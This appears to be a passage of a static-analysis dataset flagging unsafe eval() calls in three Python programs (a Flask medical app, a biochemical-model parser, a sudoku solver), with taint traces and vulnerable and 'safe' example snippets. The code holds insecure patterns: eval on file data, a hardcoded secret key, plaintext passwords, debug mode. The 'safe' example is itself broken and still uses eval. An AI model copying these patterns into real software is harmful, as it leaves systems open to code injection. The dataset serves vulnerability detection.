"issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 23, "entireCode": "from flask import *\n\napp=Flask(__name__)\napp.config['SECRET_KEY']=\"thisisasecretkey\"\n\n@app.route(\"/logout\")\ndef logout():\n\tif 'user' in session and 'role' in session:\n\t\tsession.pop('user',None)\n\t\tsession.pop('role',None) \n\t\treturn redirect(url_for('home'))\n@app.route('/home',methods=['GET','POST'])\ndef root():\n\tif 'user' in session and 'role' in session:\n\t\tif session['step']==\"False\":\n\t\t\tif request.method=='POST':\n\t\t\t\thistory=request.form['history']\n\t\t\t\tmedicines=request.form['medicines']\n\t\t\t\tdoctor=request.form[\"doctor\"]\n\t\t\t\tr1=request.form['r1']\n\t\t\t\tr2=request.form['r2']\n\t\t\t\twith open(\"add.txt\",'r') as f:\n\t\t\t\t\td=eval(f.read())\n\t\t\t\tmain=[]\n\t\t\t\tmain.append(session['user'])\n\t\t\t\tmain.append(history)\n\t\t\t\tmain.append(medicines)\n\t\t\t\tmain.append(doctor)\n\t\t\t\tmain.append(r1)\n\t\t\t\tmain.append(r2)\n\t\t\t\td.append(main)\n\t\t\t\twith open(\"add.txt\",'w') as f:\n\t\t\t\t\tf.write(str(d))\n\t\t\t\twith open(\"data.txt\",'r') as f:\n\t\t\t\t\td=eval(f.read())\n\t\t\t\tfor i in d:\n\t\t\t\t\tif i[0]==session['user']:\n\t\t\t\t\t\ti[5]=\"True\"\n\t\t\t\twith open('data.txt','w') as f:\n\t\t\t\t\tf.write(str(d))\n\t\t\t\tsession['step']=\"True\"\n\t\t\t\treturn redirect(url_for('root'))\n\n\t\t\treturn render_template('step2.html')\n\t\t\n\t\tif session['role']==\"Ambulance Driver\":\n\t\t\twith open(\"data.txt\",'r') as f:\n\t\t\t\td=eval(f.read())\n\t\t\tfor i in d:\n\t\t\t\tif i[0]==session['user']:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tparam=i[4]\n\t\t\t\t\t\tparam=param.split(\":\")\n\t\t\t\t\t\tlat=param[4]\n\t\t\t\t\t\tlng=param[6]\n\t\t\t\t\texcept:\n\t\t\t\t\t\treturn render_template(\"ambulance.html\",username=session['user'],error=\"Oops! Maps Could Not Be Loaded With Location Off!\")\n\n\t\t\tif request.method==\"POST\":\n\t\t\t\treturn render_template('map.html',lat=lat,lng=lng,name=\"Your Location: \",error=\"\")\n\t\t\treturn render_template(\"ambulance.html\",username=session['user'])\n\t\twith open(\"add.txt\",'r') as f:\n\t\t\td=eval(f.read())\n\t\tfor i in d:\n\t\t\tif i[0]==session['user']:\n\t\t\t\thistory=i[1]\n\t\t\t\tmedicines=i[2]\n\t\t\t\tdoctor=i[3]\n\t\t\t\tr1=i[4]\n\t\t\t\tr2=i[5]\n\t\treturn render_template('root.html',username=session['user'],history=history,medicines=medicines,doctor=doctor,r1=r1,r2=r2)\n\telse:\n\t\treturn redirect(url_for('login'))\n@app.errorhandler(404)\ndef page_not_found(e):\n\tprint(e)\n\treturn render_template('404.html')\n@app.route(\"/\")\ndef home():\n\treturn render_template(\"home.html\")\n@app.route(\"/signup\",methods=[\"GET\",\"POST\"])\ndef signup():\n\tif request.method==\"POST\":\n\t\tusername=request.form['name']\n\t\temail=request.form['email']\n\t\tpassword=request.form['password']\n\t\tconf_password=request.form['conf']\n\t\tloc=request.form[\"demo\"]\n\t\tprint(password,conf_password)\n\t\terror=\"Something went wrong!\"\n\n\t\ttry:\n\t\t\trole=request.form['options']\n\t\texcept:\n\t\t\treturn render_template(\"signup.html\",error=error)\n\t\tif username==\"\":\n\t\t\treturn render_template(\"signup.html\",error=error)\n\t\tif password==\"\":\n\t\t\treturn render_template(\"signup.html\",error=error)\n\t\tif email==\"\":\n\t\t\treturn render_template(\"signup.html\",error=error)\n\t\tif conf_password==\"\":\n\t\t\treturn render_template(\"signup.html\",error=error)\n\t\tif role==\"\":\n\t\t\treturn render_template(\"signup.html\",error=\"Role Error\")\n\t\tif str(password)!=str(conf_password):\n\t\t\treturn render_template(\"signup.html\",error=\"Passwords Don't Match!\")\n\t\tdata_list=[]\n\t\tdata_list.append(username)\n\t\tdata_list.append(email)\n\t\tdata_list.append(password)\n\t\tdata_list.append(role)\n\t\tdata_list.append(loc)\n\t\tif role==\"User\":\n\t\t\tdata_list.append(\"False\")\n\t\telse:\n\t\t\tdata_list.append(\"None\")\n\n\n\t\twith open(\"data.txt\",'r') as f:\n\t\t\td=eval(f.read())\n\t\td.append(data_list)\n\t\twith open('data.txt','w') as f:\n\t\t\tf.write(str(d))\n\t\tsession['user']=str(username)\n\t\tsession['role']=str(role)\n\t\tif role==\"User\":\n\t\t\tsession['step']=str(\"False\")\n\t\telse:\n\t\t\tsession['step']=str(\"True\")\n\n\t\treturn redirect(url_for(\"root\"))\n\n\n\treturn render_template(\"signup.html\")\n@app.route(\"/login\",methods=['GET','POST'])\ndef login():\n\n\tif request.method==\"POST\":\n\t\tusername=request.form['name']\n\t\tpassword=request.form['password']\n\t\tloc=request.form[\"demo\"]\n\t\twith open(\"data.txt\",\"r\") as f:\n\t\t\td=eval(f.read())\n\t\tIn=False\n\t\tfor i in d:\n\t\t\tif i[0]==username or i[1]==username:\n\t\t\t\tif i[2]==password:\n\t\t\t\t\tsession['user']=username\n\t\t\t\t\tsession['role']=str(i[3])\n\t\t\t\t\tsession['step']=i[5]\n\t\t\t\t\tIn=True\n\t\t\t\t\treturn redirect(url_for('root'))\n\t\tif not In:\n\t\t\treturn render_template(\"login.html\",error=\"No Match Or User Not Found!\")\n\n\treturn render_template(\"login.html\")\nif __name__==\"__main__\":\n\tapp.run(debug=True)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 16, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "16"}}, {"lineNo": 22, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "read"}}, {"lineNo": 23, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "961133ef7d56d005002a994dab2920c87aa033ebe1288e6c79d2f67aaf08852b", "license": {"spdx": ["MIT"], "repo": "sybila/eBCSgen", "path": "Parsing/ParseBCSL.py", "repo_head_hexsha": "d3e66c84eb908c989d22efbee20e41766948bdec", "stack_hexsha": "3a74862e38aa19b6897501405eb39c7b39f960bc", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 44, "entireCode": "import collections\nimport json\nfrom numpy import inf\nimport numpy as np\nfrom copy import deepcopy\nfrom lark import Lark, Transformer, Tree, Token\nfrom lark import UnexpectedCharacters, UnexpectedToken\nfrom lark.load_grammar import _TERMINAL_NAMES\nimport regex\nfrom sortedcontainers import SortedList\n\nfrom Core.Atomic import AtomicAgent\nfrom Core.Complex import Complex\nimport Core.Model\nfrom Core.Rate import Rate\nfrom Core.Rule import Rule\nfrom Core.Structure import StructureAgent\nfrom Regulations.ConcurrentFree import ConcurrentFree\nfrom Regulations.Conditional import Conditional\nfrom Regulations.Ordered import Ordered\nfrom Regulations.Programmed import Programmed\nfrom Regulations.Regular import Regular\nfrom TS.State import State, Memory, Vector\nfrom TS.TransitionSystem import TransitionSystem\nfrom TS.Edge import edge_from_dict\nfrom Core.Side import Side\n\n\ndef load_TS_from_json(json_file: str) -> TransitionSystem:\n \"\"\"\n Loads given JSON and interprets it as a TransitionSystem.\n\n :param json_file: given TS in JSON\n :return: resulting TransitionSystem\n \"\"\"\n complex_parser = Parser(\"rate_complex\")\n with open(json_file) as json_file:\n data = json.load(json_file)\n\n ordering = SortedList(map(lambda agent: complex_parser.parse(agent).data.children[0], data['ordering']))\n ts = TransitionSystem(ordering, data['bound'])\n ts.states_encoding = dict()\n for node_id in data['nodes']:\n vector = np.array(eval(data['nodes'][node_id]))\n is_hell = True if vector[0] == np.math.inf else False\n ts.states_encoding[int(node_id)] = State(Vector(vector), Memory(0), is_hell)\n ts.edges = {edge_from_dict(edge) for edge in data['edges']}\n ts.init = data['initial']\n if 'parameters' in data:\n ts.params = data['parameters']\n\n ts.unprocessed = {State(Vector(np.array(eval(state))), Memory(0)) for state in data.get('unprocessed', list())}\n ts.states = set(ts.states_encoding.values()) - ts.unprocessed\n return ts\n\n\nclass Result:\n \"\"\"\n Class to represent output from the Parser.\n \"\"\"\n def __init__(self, success, data):\n self.success = success\n self.data = data\n\n\nclass SideHelper:\n \"\"\"\n Class to represent side of a rule.\n \"\"\"\n def __init__(self):\n self.seq = []\n self.comp = []\n self.complexes = []\n self.counter = 0\n\n def __str__(self):\n return \" | \".join([str(self.seq), str(self.comp), str(self.complexes), str(self.counter)])\n\n def __repr__(self):\n return str(self)\n\n def to_side(self):\n return Side([Complex(self.seq[c[0]:c[1]+1], self.comp[c[0]]) for c in self.complexes])\n\n\nGRAMMAR = r\"\"\"\n model: rules inits (definitions)? (complexes)? (regulation)?\n\n rules: RULES_START (rule|COMMENT)+\n inits: INITS_START (init|COMMENT)+\n definitions: DEFNS_START (definition|COMMENT)+\n complexes: COMPLEXES_START (cmplx_dfn|COMMENT)+\n regulation: REGULATION_START regulation_def\n\n init: const? rate_complex (COMMENT)?\n definition: def_param \"=\" number (COMMENT)?\n rule: (label)? side ARROW side (\"@\" rate)? (\";\" variable)? (COMMENT)?\n cmplx_dfn: cmplx_name \"=\" value (COMMENT)?\n\n side: (const? complex \"+\")* (const? complex)?\n complex: (abstract_sequence|value|cmplx_name) DOUBLE_COLON compartment\n\n !rate : fun \"/\" fun | fun\n !fun: const | param | rate_agent | fun \"+\" fun | fun \"-\" fun | fun \"*\" fun | fun POW const | \"(\" fun \")\"\n\n !rate_agent: \"[\" rate_complex \"]\"\n\n COMMENT: \"//\" /[^\\n]/*\n\n COM: \"//\"\n POW: \"**\"\n ARROW: \"=>\"\n RULES_START: \"#! rules\"\n INITS_START: \"#! inits\"\n DEFNS_START: \"#! definitions\"\n COMPLEXES_START: \"#! complexes\"\n REGULATION_START: \"#! regulation\"\n \n !label: CNAME \"~\"\n\n param: CNAME\n def_param : CNAME\n number: NUMBER\n\n const: (INT|DECIMAL)\n\n %import common.WORD\n %import common.NUMBER\n %import common.INT\n %import common.DECIMAL\n %import common.WS\n %ignore WS\n %ignore COMMENT\n\"\"\"\n\nEXTENDED_GRAMMAR = \"\"\"\n abstract_sequence: atomic_complex | atomic_structure_complex | structure_complex\n atomic_complex: atomic \":\" (cmplx_name|VAR)\n atomic_structure_complex: atomic \":\" structure \":\" (cmplx_name|VAR)\n structure_complex: structure \":\" (cmplx_name|VAR)\n\n variable: VAR \"=\" \"{\" cmplx_name (\",\" cmplx_name)+ \"}\"\n VAR: \"?\"\n\"\"\"\n\nCOMPLEX_GRAMMAR = \"\"\"\n rate_complex: (value|cmplx_name) DOUBLE_COLON compartment\n value: (agent \".\")* agent\n agent: atomic | structure\n structure: s_name \"(\" composition \")\"\n composition: (atomic \",\")* atomic?\n atomic : a_name \"{\" state \"}\"\n\n a_name: CNAME\n s_name: CNAME\n compartment: CNAME\n cmplx_name: CNAME\n !state: (DIGIT|LETTER|\"+\"|\"-\"|\"*\"|\"_\")+\n\n DOUBLE_COLON: \"::\"\n\n %import common.CNAME\n %import common.LETTER\n %import common.DIGIT\n\"\"\"\n\nREGULATIONS_GRAMMAR = \"\"\"\n regulation_def: \"type\" ( regular | programmed | ordered | concurrent_free | conditional ) \n \n !regular: \"regular\" (DIGIT|LETTER| \"+\" | \"*\" | \"(\" | \")\" | \"[\" | \"]\" | \"_\" | \"|\" | \"&\")+\n \n programmed: \"programmed\" successors+\n successors: CNAME \":\" \"{\" CNAME (\",\" CNAME)* \"}\"\n \n ordered: \"ordered\" order (\",\" order)*\n order: (\"(\" CNAME \",\" CNAME \")\")\n \n concurrent_free: \"concurrent-free\" order (\",\" order)*\n \n conditional: \"conditional\" context+\n context: CNAME \":\" \"{\" rate_complex (\",\" rate_complex)* \"}\"\n\"\"\"\n\n\nclass TransformRegulations(Transformer):\n def regulation(self, matches):\n return {'regulation': matches[1]}\n\n def regulation_def(self, matches):\n return matches[0]\n\n def regular(self, matches):\n re = \"\".join(matches[1:])\n # might raise exception\n regex.compile(re)\n return Regular(re)\n\n def programmed(self, matches):\n successors = {k: v for x in matches for k, v in x.items()}\n return Programmed(successors)\n\n def successors(self, matches):\n return {str(matches[0]): {str(item) for item in matches[1:]}}\n\n def ordered(self, matches):\n return Ordered(set(matches))\n\n def order(self, matches):\n return str(matches[0]), str(matches[1])\n\n def conditional(self, matches):\n context_fun = {k: v for x in matches for k, v in x.items()}\n return Conditional(context_fun)\n\n def context(self, matches):\n return {str(matches[0]): {item.children[0] for item in matches[1:]}}\n\n def concurrent_free(self, matches):\n return ConcurrentFree(set(matches))\n\n\nclass ReplaceVariables(Transformer):\n \"\"\"\n This class is used to replace variables in rule (marked by ?) by\n the given cmplx_name (so far limited only to that).\n \"\"\"\n def __init__(self, to_replace):\n super(ReplaceVariables, self).__init__()\n self.to_replace = to_replace\n\n def VAR(self, matches):\n return deepcopy(self.to_replace)\n\n\nclass ExtractComplexNames(Transformer):\n \"\"\"\n Extracts definitions of cmplx_name from #! complexes part.\n\n Also multiplies rule with variable to its instances using ReplaceVariables Transformer.\n \"\"\"\n def __init__(self):\n super(ExtractComplexNames, self).__init__()\n self.complex_defns = dict()\n\n def cmplx_dfn(self, matches):\n self.complex_defns[str(matches[0].children[0])] = matches[1]\n\n def rules(self, matches):\n new_rules = [matches[0]]\n for rule in matches[1:]:\n if rule.children[-1].data == 'variable':\n variables = rule.children[-1].children[1:]\n for variable in variables:\n replacer = ReplaceVariables(variable)\n new_rule = Tree('rule', deepcopy(rule.children[:-1]))\n new_rules.append(replacer.transform(new_rule))\n else:\n new_rules.append(rule)\n return Tree('rules', new_rules)\n\n\nclass TransformAbstractSyntax(Transformer):\n \"\"\"\n Transformer to remove \"zooming\" syntax.\n\n Divided to three special cases (declared below).\n Based on replacing subtrees in parent trees.\n \"\"\"\n def __init__(self, complex_defns):\n super(TransformAbstractSyntax, self).__init__()\n self.complex_defns = complex_defns\n\n def cmplx_name(self, matches):\n return deepcopy(self.complex_defns[str(matches[0])])\n\n def abstract_sequence(self, matches):\n return matches[0]\n\n def atomic_structure_complex(self, matches):\n \"\"\"\n atomic:structure:complex\n \"\"\"\n structure = self.insert_atomic_to_struct(matches[0], matches[1])\n sequence = self.insert_struct_to_complex(structure, matches[2])\n return sequence\n\n def atomic_complex(self, matches):\n \"\"\"\n atomic:complex\n \"\"\"\n sequence = self.insert_atomic_to_complex(matches[0], matches[1])\n return sequence\n\n def structure_complex(self, matches):\n \"\"\"\n structure:complex\n \"\"\"\n sequence = self.insert_struct_to_complex(matches[0], matches[1])\n return sequence\n\n def insert_atomic_to_struct(self, atomic, struct):\n \"\"\"\n Adds or replaces atomic subtree in struct tree.\n \"\"\"\n if len(struct.children) == 2:\n struct.children[1].children.append(atomic)\n else:\n struct.children.append(Tree('composition', [atomic]))\n return struct\n\n def insert_struct_to_complex(self, struct, complex):\n \"\"\"\n Adds or replaces struct subtree in complex tree.\n \"\"\"\n for i in range(len(complex.children)):\n if self.get_name(struct) == self.get_name(complex.children[i].children[0]):\n complex.children[i] = Tree('agent', [struct])\n break\n return complex\n\n def insert_atomic_to_complex(self, atomic, complex):\n \"\"\"\n Adds or replaces atomic subtree in complex tree.\n \"\"\"\n for i in range(len(complex.children)):\n if self.get_name(atomic) == self.get_name(complex.children[i].children[0]):\n complex.children[i] = Tree('agent', [atomic])\n break\n return complex\n\n def get_name(self, agent):\n return str(agent.children[0].children[0])\n\n\nclass TreeToComplex(Transformer):\n \"\"\"\n Creates actual Complexes in rates of the rules - there it is safe,\n order is not important. Does not apply to the rest of the rule!\n \"\"\"\n def state(self, matches):\n return \"\".join(map(str, matches))\n\n def atomic(self, matches):\n name, state = str(matches[0].children[0]), matches[1]\n return AtomicAgent(name, state)\n\n def structure(self, matches):\n name = str(matches[0].children[0])\n if len(matches) > 1:\n composition = set(matches[1].children)\n return StructureAgent(name, composition)\n else:\n return StructureAgent(name, set())\n\n def rate_complex(self, matches):\n sequence = []\n for item in matches[0].children:\n sequence.append(item.children[0])\n compartment = matches[2]\n return Tree(\"agent\", [Complex(sequence, compartment)])\n\n def compartment(self, matches):\n return str(matches[0])\n\n\nclass TreeToObjects(Transformer):\n def __init__(self):\n super(TreeToObjects, self).__init__()\n self.params = set()\n \"\"\"\n A transformer which is called on a tree in a bottom-up manner and transforms all subtrees/tokens it encounters.\n Note the defined methods have the same name as elements in the grammar above.\n\n Creates the actual Model object after all the above transformers were applied.\n \"\"\"\n def const(self, matches):\n return float(matches[0])\n\n def def_param(self, matches):\n return str(matches[0])\n\n def label(self, matches):\n return str(matches[0])\n\n def number(self, matches):\n return float(matches[0])\n\n def side(self, matches):\n helper = SideHelper()\n stochio = 1\n for item in matches:\n if type(item) in [int, float]:\n stochio = int(item)\n else:\n agents = item.children[0]\n compartment = item.children[2]\n for i in range(stochio):\n start = helper.counter\n for agent in agents.children:\n helper.seq.append(deepcopy(agent.children[0]))\n helper.comp.append(compartment)\n helper.counter += 1\n helper.complexes.append((start, helper.counter - 1))\n stochio = 1\n return helper\n\n def rule(self, matches):\n label = None\n rate = None\n if len(matches) == 5:\n label, lhs, arrow, rhs, rate = matches\n elif len(matches) == 4:\n if type(matches[0]) == str:\n label, lhs, arrow, rhs = matches\n else:\n lhs, arrow, rhs, rate = matches\n else:\n lhs, arrow, rhs = matches\n agents = tuple(lhs.seq + rhs.seq)\n mid = lhs.counter\n compartments = lhs.comp + rhs.comp\n complexes = lhs.complexes + list(\n map(lambda item: (item[0] + lhs.counter, item[1] + lhs.counter), rhs.complexes))\n pairs = [(i, i + lhs.counter) for i in range(min(lhs.counter, rhs.counter))]\n if lhs.counter > rhs.counter:\n pairs += [(i, None) for i in range(rhs.counter, lhs.counter)]\n elif lhs.counter < rhs.counter:\n for i in range(lhs.counter, rhs.counter):\n replication = False\n if lhs.counter == 1 and rhs.counter > 1:\n if lhs.seq[pairs[-1][0]] == rhs.seq[pairs[-1][1] - lhs.counter]:\n if rhs.seq[pairs[-1][1] - lhs.counter] == rhs.seq[i]:\n pairs += [(pairs[-1][0], i + lhs.counter)]\n replication = True\n if not replication:\n pairs += [(None, i + lhs.counter)]\n\n return Rule(agents, mid, compartments, complexes, pairs, Rate(rate) if rate else None, label)\n\n def rules(self, matches):\n return {'rules': matches[1:]}\n\n def definitions(self, matches):\n result = dict()\n for definition in matches[1:]:\n pair = definition.children\n result[pair[0]] = pair[1]\n return {'definitions': result}\n\n def init(self, matches):\n return matches\n\n def inits(self, matches):\n result = collections.Counter()\n for init in matches[1:]:\n if len(init) > 1:\n result[init[1].children[0]] = int(init[0])\n else:\n result[init[0].children[0]] = 1\n return {'inits': result}\n\n def param(self, matches):\n self.params.add(str(matches[0]))\n return Tree(\"param\", matches)\n\n def model(self, matches):\n definitions = dict()\n regulation = None\n for match in matches:\n if type(match) == dict:\n key, value = list(match.items())[0]\n if key == 'rules':\n rules = set(value)\n if key == 'inits':\n inits = value\n if key == 'definitions':\n definitions = value\n if key == 'regulation':\n regulation = value\n params = self.params - set(definitions)\n return Core.Model.Model(rules, inits, definitions, params, regulation)\n\n\nclass Parser:\n def __init__(self, start):\n grammar = \"start: \" + start + GRAMMAR + COMPLEX_GRAMMAR + EXTENDED_GRAMMAR + REGULATIONS_GRAMMAR\n self.parser = Lark(grammar, parser='lalr',\n propagate_positions=False,\n maybe_placeholders=False\n )\n\n self.terminals = dict((v, k) for k, v in _TERMINAL_NAMES.items())\n self.terminals.update({\"COM\": \"//\",\n \"ARROW\": \"=>\",\n \"POW\": \"**\",\n \"DOUBLE_COLON\": \"::\",\n \"RULES_START\": \"#! rules\",\n \"INITS_START\": \"#! inits\",\n \"DEFNS_START\": \"#! definitions\",\n \"COMPLEXES_START\": \"#! complexes\",\n \"REGULATION_START\": \"#! regulation\",\n \"CNAME\": \"name\",\n \"NAME\": \"agent_name\",\n \"VAR\": \"?\"\n })\n self.terminals.pop(\"$END\", None)\n\n def replace(self, expected: set) -> set:\n \"\"\"\n Method used to replace expected tokens by their human-readable representations defined in self.terminals\n\n :param expected: given set of expected tokens\n :return: transformed tokens\n \"\"\"\n return set([self.terminals.get(item, item.lower()) for item in expected])\n\n def parse(self, expression: str) -> Result:\n \"\"\"\n Main method for parsing, first syntax_check is called which checks syntax and if it is\n correct, a parsed Tree is returned.\n\n Then the tree is transformed using several Transformers in self.transform method.\n\n :param expression: given string expression\n :return: Result containing parsed object or error specification\n \"\"\"\n result = self.syntax_check(expression)\n if result.success:\n return self.transform(result.data)\n else:\n return result\n\n def transform(self, tree: Tree) -> Result:\n \"\"\"\n Apply several transformers to construct BCSL object from given tree.\n\n :param tree: given parsed Tree\n :return: Result containing constructed BCSL object\n \"\"\"\n # try:\n complexer = ExtractComplexNames()\n tree = complexer.transform(tree)\n de_abstracter = TransformAbstractSyntax(complexer.complex_defns)\n tree = de_abstracter.transform(tree)\n tree = TreeToComplex().transform(tree)\n tree = TransformRegulations().transform(tree)\n tree = TreeToObjects().transform(tree)\n\n return Result(True, tree.children[0])\n # except Exception as u:\n # return Result(False, {\"error\": str(u)})\n\n def syntax_check(self, expression: str) -> Result:\n \"\"\"\n Main method for parsing, calls Lark.parse method and creates Result containing parsed\n object (according to designed 'start' in grammar) or dict with specified error in case\n the given expression cannot be parsed.\n\n :param expression: given string expression\n :return: Result containing parsed object or error specification\n \"\"\"\n try:\n tree = self.parser.parse(expression)\n except UnexpectedCharacters as u:\n return Result(False, {\"unexpected\": expression[u.pos_in_stream],\n \"expected\": self.replace(u.allowed),\n \"line\": u.line, \"column\": u.column})\n except UnexpectedToken as u:\n return Result(False, {\"unexpected\": str(u.token),\n \"expected\": self.replace(u.expected),\n \"line\": u.line, \"column\": u.column})\n return Result(True, tree)", "dangerousExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. result = eval('100 + ' + userId)\n6. return HttpResponse('result = ' + result)\nLine 5: An external input, request.GET['operation'], is used to generate an argument of eval() function. Then, attackers can use code by sending userId through 1, dangerous_function_call().", "safeExampleEn": "1. from django.http import HttpResponse\n2. \n3. def index(request):\n4. userId = request.GET['id']\n5. try:\n6. id_as_int = int(userId)\n7. result = eval('100 + ' + id_as_int) # safe\n8. return HttpResponse('result = ' + result)\n9. except ValueError:\n10. return HttpResponse('bad input')\nLine 6: Check that an input is expected one before using.", "contexts": [{"lineNo": 37, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 38, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "dataload_TS_from_json.data[\"nodes\"]"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "dataload_TS_from_json.data[\"nodes\"][node_id]"}}, {"lineNo": 44, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "eval"}}]}} {"id": "bab80cc716ffe0a7e6ebf3789e5d65abe01103cfde0088fbc2dd6489fc590f9e", "license": {"spdx": ["MIT"], "repo": "silvafj/BBK-MSCCS-2017-18", "path": "POP1/assignment-three/sudoku.py", "repo_head_hexsha": "d97b0f8e7434d19a1a4006989c32c4c1deb93842", "stack_hexsha": "2854744ef4f4991cb4028fc3ab2c3de0f0f3314a", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Direct dynamic code evaluation", "issueDescriptionEn": "The Direct dynamic code evaluation checker finds instances of using unvalidated external inputs in dynamic evaluation code.\nStrings passed to the Eval() function during program execution are considered part of code to be executed.\nIf an unvalidated external input is allowed in dynamically executable code, attackers can execute an arbitrary action to achieve their aim.\nCheck if the dynamic evaluation is necessary in the program design; if possible, replace it with a static code that behaves identically. Most ordinary program actions can be implemented without dynamic evaluation; in many cases, programmers use dynamic code simply in order to avoid some bothersome coding. If the use of dynamic code with untrusted external inputs is inevitable, have those inputs filtered, or restrict argument values determined by external inputs to those selected from within a preconfigured array of appropriate values.", "issueLineNumber": 19, "entireCode": "\"\"\"\nAuthor: \n\nThis program can be used to solve sudoku puzzles, giving the user a full or\npartial (in case of more complex problems) solutions.\n\"\"\"\n\ndef read_sudoku(file_name):\n \"\"\"\n Reads a file and returns a two-dimensional list of integers.\n\n :param str file_name: Full path of the file containing a sudoku problem\n :return: Two-dimensional list of integers\n :rtype: list\n \"\"\"\n with open(file_name) as stream:\n data = stream.readlines()\n\n return eval(\"\".join(data))\n\n\ndef convertToSets(problem):\n \"\"\"\n Given a two-dimensional list of integers return a new two-dimensional list\n of sets.\n\n :param list problem: Two-dimensional list of integers\n :return: Two-dimensional list of sets\n :rtype: list\n \"\"\"\n\n # A set containing the numbers 1 through 9 will replace any location\n # with the number 0.\n set_1_to_9 = set(range(1, 10))\n\n return [[set([loc]) if loc != 0 else set_1_to_9 for loc in row]\n for row in problem]\n\n\ndef convertToInts(problem):\n \"\"\"\n Given a two-dimensional list of sets return a new two-dimensional list\n of integers.\n\n :param list problem: Two-dimensional list of sets\n :return: Two-dimensional list of integer\n :rtype: list\n \"\"\"\n return [[next(iter(loc)) if len(loc) == 1 else 0 for loc in row]\n for row in problem]\n\n\ndef getRowLocations(rowNumber):\n \"\"\"\n Return a list of all nine locations in a row.\n\n :param int rowNumber: Row\n :return: List of tuples\n :rtype: list\n \"\"\"\n return [(rowNumber, col) for col in range(9)]\n\n\ndef getColumnLocations(columnNumber):\n \"\"\"\n Return a list of all nine locations in a column.\n\n :param int rowNumber: Column\n :return: List of tuples\n :rtype: list\n \"\"\"\n return [(row, columnNumber) for row in range(9)]\n\n\ndef getBoxLocations(location):\n \"\"\"\n Return a list of all nine locations in the same box as `location`.\n\n :param tuple location: Location\n :return: List of tuples\n :rtype: list\n \"\"\"\n loc_r, loc_c = location\n box_r = loc_r // 3 * 3\n box_c = loc_c // 3 * 3\n\n return [(row, col)\n for row in range(box_r, box_r + 3)\n for col in range(box_c, box_c + 3)]\n\n\ndef eliminate(problem, location, listOfLocations):\n \"\"\"\n Given a list of locations, eliminate from the problem the number that is\n present at the `location`.\n\n :param list problem: Two-dimensional list of sets\n :param tuple location: Location with the number to be removed\n :param list listOfLocations: List of locations to have the number\n removed\n :return: Count of eliminations\n :rtype: int\n \"\"\"\n loc_r, loc_c = location\n number_set = problem[loc_r][loc_c]\n\n # Don't perform any elimination if the location contains more than a number\n if len(number_set) != 1:\n return 0\n\n number = next(iter(number_set))\n\n count = 0\n for loc_remove in listOfLocations:\n if loc_remove == location:\n continue\n\n loc_r, loc_c = loc_remove\n if number in problem[loc_r][loc_c]:\n problem[loc_r][loc_c] = problem[loc_r][loc_c] - number_set\n count += 1\n\n return count\n\n\ndef isSolved(problem):\n \"\"\"\n Given a two-dimensional list of sets, checks if every set contains exactly\n one element.\n\n :param list problem: list of sets\n :return: True if every set contains exactly one element\n :rtype: bool\n \"\"\"\n return all((len(col) == 1 for row in problem for col in row))\n\n\ndef solve(problem):\n \"\"\"\n Given a two-dimensional list of sets, try to solve it.\n\n :param list problem: Two-dimensional list of sets\n :return: If the problem has been solved, return True\n :rtype: bool\n \"\"\"\n eliminate_count = 1\n while eliminate_count > 0:\n eliminate_count = 0\n\n for r, row in enumerate(problem):\n for c, _ in enumerate(row):\n location = (r, c)\n locations = getRowLocations(r)\n locations.extend(getColumnLocations(c))\n locations.extend(getBoxLocations(location))\n eliminate_count += eliminate(problem, location, locations)\n\n return isSolved(problem)\n\n\ndef print_sudoku(problem):\n \"\"\"\n Prints the two-dimensional list of integers as a Sudoku grid.\n\n :param list problem: Two-dimensional list of 